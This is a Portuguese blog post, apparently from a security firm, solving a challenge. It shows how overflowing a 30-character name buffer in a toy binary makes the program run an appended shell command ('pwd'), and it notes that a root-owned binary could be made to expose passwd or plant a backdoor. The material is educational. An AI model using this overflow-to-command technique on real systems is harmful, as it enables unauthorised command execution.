Revelaremos agora a resposta do último Desafio SegInfo, publicado em 14 de março aqui no blog.
Primeiramente vamos verificar a forma como o binário age normalmente:
clavis@clavis:~$ ./vuln Qual seu nome?[Ate 30 caracteres] clavis Ola clavis clavis@clavis:~$
Verificar o funcionamento do programa quando inserimos mais de 30 caracteres:
clavis@clavis:~$ ./vuln Qual seu nome?[Ate 30 caracteres]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Ola AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA // 34 A's clavis@clavis:~$
Ainda funciona =/
Testando 40 A’s:
clavis@clavis:~$./vuln Qual seu nome?[Ate 30 caracteres]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA clavis@clavis:~$
Algo de errado aconteceu!
Em programação uma pilha é uma estrutura que armazena os dados de forma que o último que entra é o primeiro que sai. A forma mais simples de entender a pilha é pensar num pino de CDs ou DVDs gravados: se você colocar um CD gravado num pino vazio, e depois colocar outro por cima, o primeiro que você pegar vai ser o que você colocou por último; se você quiser pegar o de baixo, vai precisar primeiro tirar o de cima para só então poder acessar o de baixo.
Comumente, as variáveis tem um espaço limitado alocado para elas, sendo assim, podemos inserir apenas o número de caracteres limitados ao espaço das mesmas. Porém em linguagens como C que manipulam diretamente a memória existem funções que, quando usadas, se não fizermos o devido controle, permitem que passemos do limite, podendo inclusive mudar valores de variáveis/registradores adjacentes na pilha gerando um transbordamento na pilha ou fazendo um overflow.
Ex: Se inserirmos 30 caracteres em uma variável que em tese deveria aceitar somente 26, estamos lotando a memória destinada à variável e alocando o restante em algum outro lugar (neste caso, na variável adjacente).
Como podemos explorar isso?
Tendo em vista o funcionamento da pilha e que outras variáveis podem ter sido inseridas antes da que estamos manipulando, após um overflow, nossa pilha ficaria da seguinte forma:
-------------- <- topo da pilha | AAAAAAAAAA | <- variável 1 (cheia) | AAAAAAAAAA | | AAAAAAAAAA | -------------- | AAAAAAAAAA | <- variável 2 (contendo o que transbordou da variável 1) -------------- . . . -------------- <- base da pilha
Vale ressaltar que existe um pequeno espaço entre os dados de uma variável e outra, sendo assim, é necessário um pouco mais que 30 caracteres para chegarmos ao nosso objetivo.
Como vimos anteriormente, com 34 A’s nosso programas funciona, porem com 40 não funciona mais, sendo assim, a nossa abordagem consistirá em adicionar o comando pwd
(ou algum outro de sua escolha) ao final da nossa entrada maliciosa afim de alocá-lo em outra variável e ver como o programa se porta:
Testando: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwd (36 A’s seguidos do pwd)
clavis@clavis:~$./vuln Qual seu nome?[Ate 30 caracteres]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwd Ola AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwd clavis@clavis:~$
Sem sucesso, mas não desista!
Ao tentarmos a entrada: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwd (40 A’s seguido do pwd) obteremos o seguinte resultado:
clavis@clavis:~$./vuln Qual seu nome?[Ate 30 caracteres] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwd /home/clavis
Outra dica seria observar que um arquivo chamado “nada” é criado com erros do tipo:
sh: aaaaaaaaaaaaaaaaaaaaa: not found
e daí calcular quantos “a’s” precisamos escrever a menos de forma que o “pwd” seja alocado corretamente.
Note que, caso o dono deste programa fosse um usuário com privilégio de root no sistema, poderíamos executar vários comandos interessantes, como listar o passwd e até adicionar um backdoor.
Esta técnica é chamada de fuzzing e consiste em injetar strings aleatórias na aplicação até que obtenhamos uma resposta anormal, daí o desenvolvedor de exploits buscará desviar o fluxo do programa para obter um shell ou alguma outra ação maliciosa, nem sempre sendo necessária uma outra variável acima destas, mas este tema será abordado em um post futuro.
É isso pessoal, até o próximo desafio! (:
Mais informações em http://insecure.org/stf/smashstack.html